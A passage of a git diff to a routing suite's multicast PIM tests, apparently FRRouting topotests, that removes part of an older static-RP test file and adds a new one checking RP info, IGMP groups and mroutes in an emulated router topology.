verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Shut the link from R1 to R3 from R3 node") - dut = "r3" - intf = "r3-r1-eth0" - shutdown_bringup_interface(tgen, dut, intf, False) - - step( - "Verify after shut of R1 to R3 link , verify (*,G) entries got" - " cleared from all the node R1, R2, R3" - ) - - step("r1: Verify (*, G) ip mroutes") - dut = "r1" - iif = "r1-r3-eth2" - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) - assert result is not True, ( - "Testcase {} : Failed \n " - "r1: (*,G) mroutes are not cleared after shut of R1 to R3 link\n Error: {}".format( - tc_name, result - ) - ) - - step("r2: Verify (*, G) ip mroutes") - dut = "r2" - iif = "lo" - oif = "r2-r3-eth1" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) - assert result is not True, ( - "Testcase {} : Failed \n " - "r2: (*,G) mroutes are not cleared after shut of R1 to R3 link\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (*, G) ip mroutes") - dut = "r3" - iif = "r3-r2-eth1" - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (*,G) mroutes are not cleared after shut of R1 to R3 link\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: No shutdown the link from R1 to R3 from R3 node") - dut = "r3" - intf = "r3-r1-eth0" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Verify (*, G) ip mroutes") - dut = "r1" - iif = "r1-r3-eth2" - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - dut = "r2" - iif = "lo" - oif = "r2-r3-eth1" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (*, G) ip mroutes") - dut = "r3" - iif = "r3-r2-eth1" - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: No shutdown the link from R1 to R2 from R1 node") - dut = "r1" - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Verify (*, G) ip mroutes") - dut = "r1" - iif = "r1-r2-eth1" - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - dut = "r2" - iif = "lo" - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - write_test_footer(tc_name) - - -def test_delete_RP_shut_noshut_upstream_interface_p1(request): - """ - TC_31_P1: Verify RP info and (*,G) mroute after deleting the RP and shut / - no shut the RPF interface. - Topology used: - ________r2_____ - | | - iperf | | - r0-----r1-------------r3 - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface") - step("Configure RP on r2 (loopback interface) for the group range" " 224.0.0.0/4") - step("r1: Delete the RP config") - step("r1: Shut and no shut the upstream interface (R1-R2) connected link") - step("r1: Shut and no shut the OIL interface") - - step("r1: Verify RP info") - dut = "r1" - rp_address = "1.0.2.17" - iif = "r1-r2-eth1" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - dut = "r1" - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes created") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes created") - dut = "r2" - iif = "lo" - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Delete RP configuration") - - # Delete RP configuration - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - } - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Shut the interface r1-r2-eth1 from R1 to R2") - dut = "r1" - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: No shutdown the interface r1-r2-eth1 from R1 to R2") - dut = "r1" - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Shutdown the OIL interface r1-r0-eth0 from R1 to R0 ") - dut = "r1" - intf = "r1-r0-eth0" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: No shutdown the OIL interface r1-r0-eth0 from R1 to R0") - dut = "r1" - intf = "r1-r0-eth0" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Verify (*, G) ip mroutes cleared") - dut = "r1" - iif = "r1-r2-eth1" - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) - assert result is not True, ( - "Testcase {} : Failed \n " - "r1: (*,G) mroutes are not cleared after shut of R1 to R0 link\n Error: {}".format( - tc_name, result - ) - ) - - step("r2: Verify (*, G) ip mroutes cleared") - dut = "r2" - iif = "lo" - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) - assert result is not True, ( - "Testcase {} : Failed \n " - "r2: (*,G) mroutes are not cleared after shut of R1 to R0 link\n Error: {}".format( - tc_name, result - ) - ) - - write_test_footer(tc_name) - - -def test_delete_RP_shut_noshut_RP_interface_p1(request): - """ - TC_32_P1: Verify RP info and (*,G) mroute after deleting the RP and shut/ - no shut the RPF interface - - Topology used: - ________r2_____ - | | - iperf | | - r0-----r1-------------r3 - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface") - step("Configure RP on r2 (lo) for the group range" " 224.0.0.0/4") - step("r2: Delete the RP configuration") - step("r2: Shut the RP interface (lo)") - step("r1: Shut the interface(r1-r2-eth1, r1-r3-eth2) towards rp") - - step("r1: Verify RP info") - dut = "r1" - rp_address = "1.0.2.17" - iif = "r1-r2-eth1" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes created") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes created") - dut = "r2" - iif = "lo" - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Delete RP configuration") - - # Delete RP configuration - input_dict = { - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - } - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Shut the RP interface lo") - dut = "r2" - intf = "lo" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: Shut the interface r1-r2-eth1 towards RP") - dut = "r1" - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: Shut the interface r1-r3-eth2 towards RP") - dut = "r1" - intf = "r1-r3-eth2" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: Verify (*, G) ip mroutes cleared") - dut = "r1" - iif = "r1-r2-eth1" - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) - assert result is not True, ( - "Testcase {} : Failed \n " - "r1: (*,G) mroutes are not cleared after shut of R1 to R2 and R3 link\n Error: {}".format( - tc_name, result - ) - ) - - step("r2: Verify (*, G) ip mroutes cleared") - dut = "r2" - iif = "lo" - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) - assert result is not True, ( - "Testcase {} : Failed \n " - "r2: (*,G) mroutes are not cleared after shut of R1 to R2 and R3 link\n Error: {}".format( - tc_name, result - ) - ) - - write_test_footer(tc_name) - - if __name__ == "__main__": ARGS = ["-s"] + sys.argv[1:] sys.exit(pytest.main(ARGS)) diff --git a/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp1.py b/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp1.py new file mode 100755 index 0000000000..35303c3f2c --- /dev/null +++ b/tests/topotests/multicast_pim_static_rp_topo1/test_multicast_pim_static_rp1.py @@ -0,0 +1,1424 @@ +#!/usr/bin/env python + +# +# Copyright (c) 2019 by VMware, Inc. ("VMware") +# Used Copyright (c) 2018 by Network Device Education Foundation, +# Inc. ("NetDEF") in this file. +# +# Permission to use, copy, modify, and/or distribute this software +# for any purpose with or without fee is hereby granted, provided +# that the above copyright notice and this permission notice appear +# in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND VMWARE DISCLAIMS ALL WARRANTIES +# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL VMWARE BE LIABLE FOR +# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY +# DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS +# ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE +# OF THIS SOFTWARE. +# + +""" +Following tests are covered to test Multicast basic functionality: + +Topology: + + _______r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + | | + |_____________| + r4 + +Test steps +- Create topology (setup module) +- Bring up topology + +TC_1 : Verify upstream interfaces(IIF) and join state are updated properly + after adding and deleting the static RP +TC_2 : Verify IIF and OIL in "show ip pim state" updated properly after + adding and deleting the static RP +TC_3: (*, G) Mroute entry are cleared when static RP gets deleted +TC_4: Verify (*,G) prune is send towards the RP after deleting the static RP +TC_5: Verify OIF entry for RP is cleared when RP becomes unreachable +TC_6: Verify IIF and OIL in "show ip pim state" updated properly when RP + becomes unreachable +TC_7 : Verify upstream interfaces(IIF) and join state are updated properly + after adding and deleting the static RP +TC_8: Verify (*,G) prune is send towards the RP when RP becomes unreachable +TC_9 : Verify RP configured after IGMP join received, PIM join towards RP is + sent immediately +TC_10 : Verify RP becomes reachable after IGMP join received, PIM join + towards RP is sent immediately +TC_11 : Verify PIM join send towards the higher preferred RP +TC_12 : Verify PIM prune send towards the lower preferred RP +TC_13 : Verify RPF interface is updated in mroute (kernel) when higher + preferred overlapping RP configured +TC_14 : Verify IIF and OIL in "show ip pim state" updated properly when higher + preferred overlapping RP configured +TC_15 : Verify upstream interfaces(IIF) and join state are updated when higher + preferred overlapping RP is configured +TC_16 : Verify join is send to lower preferred RP, when higher preferred RP + gets deleted +TC_17 : Verify prune is send to higher preferred RP when higher preferred RP + gets deleted +TC_18 : Verify RPF interface updated in mroute when higher preferred RP gets + deleted +TC_19 : Verify IIF and OIL in "show ip pim state" updated when higher + preferred overlapping RP is deleted +TC_20 : Verify PIM upstream IIF updated when higher preferred overlapping RP + deleted +TC_21_1 : Verify OIF and RFP for (*,G) and (S,G) when static RP configure in + LHR router +TC_21_2 : Verify OIF and RFP for (*,G) and (S,G) when static RP configure in + LHR router +TC_22_1 : Verify OIF and RPF for (*,G) and (S,G) when static RP configure in + FHR router +TC_22_2 : Verify OIF and RPF for (*,G) and (S,G) when static RP configure in + FHR router +TC_23 : Verify (*,G) and (S,G) populated correctly when RPT and SPT path are + different +TC_24 : Verify (*,G) and (S,G) populated correctly when SPT and RPT share the + same path +TC_25 : Verify (*,G) and (S,G) populated correctly after clearing the PIM , + IGMP and mroutes joins +TC_26 : Restart the PIMd process and verify PIM joins , and mroutes entries +TC_27 : Configure multiple groups (10 grps) with same RP address +TC_28 : Configure multiple groups (10 grps) with different RP address +TC_29 : Verify IIF and OIL in updated in mroute when upstream interface + configure as RP +TC_30 : Verify IIF and OIL change to other path after shut the primary path +TC_31 : Verify RP info and (*,G) mroute after deleting the RP and shut / no + shut the RPF interface. +TC_32 : Verify RP info and (*,G) mroute after deleting the RP and shut / no + shut the RPF interface +""" + +import os +import sys +import time +from time import sleep +import datetime +import pytest + +# Save the Current Working Directory to find configuration files. +CWD = os.path.dirname(os.path.realpath(__file__)) +sys.path.append(os.path.join(CWD, "../")) +sys.path.append(os.path.join(CWD, "../lib/")) + +# Required to instantiate the topology builder class. + +# pylint: disable=C0413 +# Import topogen and topotest helpers + +from lib.topogen import Topogen, get_topogen +from lib.topolog import logger +from lib.topojson import build_topo_from_json, build_config_from_json + +from lib.common_config import ( + start_topology, + write_test_header, + write_test_footer, + reset_config_on_routers, + step, + shutdown_bringup_interface, + kill_router_daemons, + start_router_daemons, + create_static_routes, + topo_daemons, +) +from lib.pim import ( + create_pim_config, + verify_igmp_groups, + verify_upstream_iif, + verify_join_state_and_timer, + verify_mroutes, + verify_pim_neighbors, + get_pim_interface_traffic, + verify_pim_rp_info, + verify_pim_state, + clear_pim_interface_traffic, + clear_igmp_interfaces, + clear_pim_interfaces, + clear_mroute, + clear_mroute_verify, + McastTesterHelper, +) + +pytestmark = [pytest.mark.pimd, pytest.mark.staticd] + + +# Global variables +GROUP_RANGE_ALL = "224.0.0.0/4" +GROUP_RANGE = "225.1.1.1/32" +GROUP_RANGE_LIST_1 = [ + "225.1.1.1/32", + "225.1.1.2/32", + "225.1.1.3/32", + "225.1.1.4/32", + "225.1.1.5/32", +] +GROUP_RANGE_LIST_2 = [ + "225.1.1.6/32", + "225.1.1.7/32", + "225.1.1.8/32", + "225.1.1.9/32", + "225.1.1.10/32", +] +GROUP_ADDRESS = "225.1.1.1" +GROUP_ADDRESS_LIST_1 = ["225.1.1.1", "225.1.1.2", "225.1.1.3", "225.1.1.4", "225.1.1.5"] +GROUP_ADDRESS_LIST_2 = [ + "225.1.1.6", + "225.1.1.7", + "225.1.1.8", + "225.1.1.9", + "225.1.1.10", +] +STAR = "*" +SOURCE_ADDRESS = "10.0.6.2" +SOURCE = "Static" + + +def build_topo(tgen): + """Build function""" + + # Building topology from json file + build_topo_from_json(tgen, TOPO) + + +def setup_module(mod): + """ + Sets up the pytest environment + + * `mod`: module name + """ + + testsuite_run_time = time.asctime(time.localtime(time.time())) + logger.info("Testsuite start time: %s", testsuite_run_time) + logger.info("=" * 40) + + topology = """ + + _______r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + | | + |_____________| + r4 + + """ + logger.info("Master Topology: \n %s", topology) + + logger.info("Running setup_module to create topology") + + # This function initiates the topology build with Topogen... + json_file = "{}/multicast_pim_static_rp.json".format(CWD) + tgen = Topogen(json_file, mod.__name__) + global TOPO + TOPO = tgen.json_topo + + # ... and here it calls Mininet initialization functions. + + # get list of daemons needs to be started for this suite. + daemons = topo_daemons(tgen, TOPO) + + # Starting topology, create tmp files which are loaded to routers + # to start daemons and then start routers + start_topology(tgen, daemons) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + # Creating configuration from JSON + build_config_from_json(tgen, TOPO) + + # Verify PIM neighbors + result = verify_pim_neighbors(tgen, TOPO) + assert result is True, "setup_module :Failed \n Error:" " {}".format(result) + + # XXX Replace this using "with McastTesterHelper()... " in each test if possible. + global app_helper + app_helper = McastTesterHelper(tgen) + + logger.info("Running setup_module() done") + + +def teardown_module(): + """Teardown the pytest environment""" + + logger.info("Running teardown_module to delete topology") + + tgen = get_topogen() + + app_helper.cleanup() + + # Stop toplogy and Remove tmp files + tgen.stop_topology() + + logger.info("Testsuite end time: %s", time.asctime(time.localtime(time.time()))) + logger.info("=" * 40) + + +##################################################### +# +# Testcases +# +##################################################### + + +def verify_mroute_repopulated(uptime_before, uptime_after): + """ + API to compare uptime for mroutes + + Parameters + ---------- + * `uptime_before` : Uptime dictionary for any particular instance + * `uptime_after` : Uptime dictionary for any particular instance + """ + + for group in uptime_before.keys(): + for source in uptime_before[group].keys(): + if set(uptime_before[group]) != set(uptime_after[group]): + errormsg = ( + "mroute (%s, %s) has not come" + " up after mroute clear [FAILED!!]" % (source, group) + ) + return errormsg + + d_1 = datetime.datetime.strptime(uptime_before[group][source], "%H:%M:%S") + d_2 = datetime.datetime.strptime(uptime_after[group][source], "%H:%M:%S") + if d_2 >= d_1: + errormsg = "mroute (%s, %s) is not " "repopulated [FAILED!!]" % ( + source, + group, + ) + return errormsg + + logger.info("mroute (%s, %s) is " "repopulated [PASSED!!]", source, group) + + return True + + +def verify_state_incremented(state_before, state_after): + """ + API to compare interface traffic state incrementing + + Parameters + ---------- + * `state_before` : State dictionary for any particular instance + * `state_after` : State dictionary for any particular instance + """ + + for router, state_data in state_before.items(): + for state, _ in state_data.items(): + if state_before[router][state] >= state_after[router][state]: + errormsg = ( + "[DUT: %s]: state %s value has not" + " incremented, Initial value: %s, " + "Current value: %s [FAILED!!]" + % ( + router, + state, + state_before[router][state], + state_after[router][state], + ) + ) + return errormsg + + logger.info( + "[DUT: %s]: State %s value is " + "incremented, Initial value: %s, Current value: %s" + " [PASSED!!]", + router, + state, + state_before[router][state], + state_after[router][state], + ) + + return True + + +def test_RP_configured_as_LHR_1_p1(request): + """ + TC_21_1_P1: Verify OIF and RPF for (*,G) and (S,G) when static RP configure + in LHR router + + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + + r1 : LHR/RP + r3 : FHR + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface") + step("Configure RP on r1 (loopback interface) for the group range" " 224.0.0.0/4") + step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") + step("Send the IGMP join from r0") + step("Send multicast traffic from r5") + + step("r1 , r2, r3, r4: Delete existing RP configuration" "configure r1(LHR) as RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r3": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Configure r1(LHR) as RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.1.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.1.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r3": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.1.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.1.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + shutdown_bringup_interface(tgen, "r1", "lo", False) + sleep(5) + shutdown_bringup_interface(tgen, "r1", "lo", True) + sleep(5) + + step("r1: Verify RP info") + dut = "r1" + rp_address = "1.0.1.17" + iif = "lo" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S, G) upstream join state is joined and join" + " timer is running \n Error: {}".format(tc_name, result) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + # Uncomment next line for debugging + # tgen.mininet_cli() + + write_test_footer(tc_name) + + +def test_RP_configured_as_LHR_2_p1(request): + """ + TC_21_2_P1: Verify OIF and RPF for (*,G) and (S,G) when static RP configure + in LHR router + + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + + r1 : LHR/RP + r3 : FHR + + """ + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface") + step("Configure RP on r1 (loopback interface) for the group range" " 224.0.0.0/4") + step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") + step("Send multicast traffic from r5") + step("Send the IGMP join from r0") + + step("r1, r2, r3, r4: Delete existing RP configuration," "configure r1(LHR) as RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r3": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + }, + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1, r2, r3, r4: Configure r1(LHR) as RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.1.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.1.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r3": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.1.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.1.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + }, + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify RP info") + dut = "r1" + rp_address = "1.0.1.17" + iif = "lo" + result = verify_pim_rp_info(tgen, TOPO, dut, GROUP_ADDRESS, iif, rp_address, SOURCE) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + 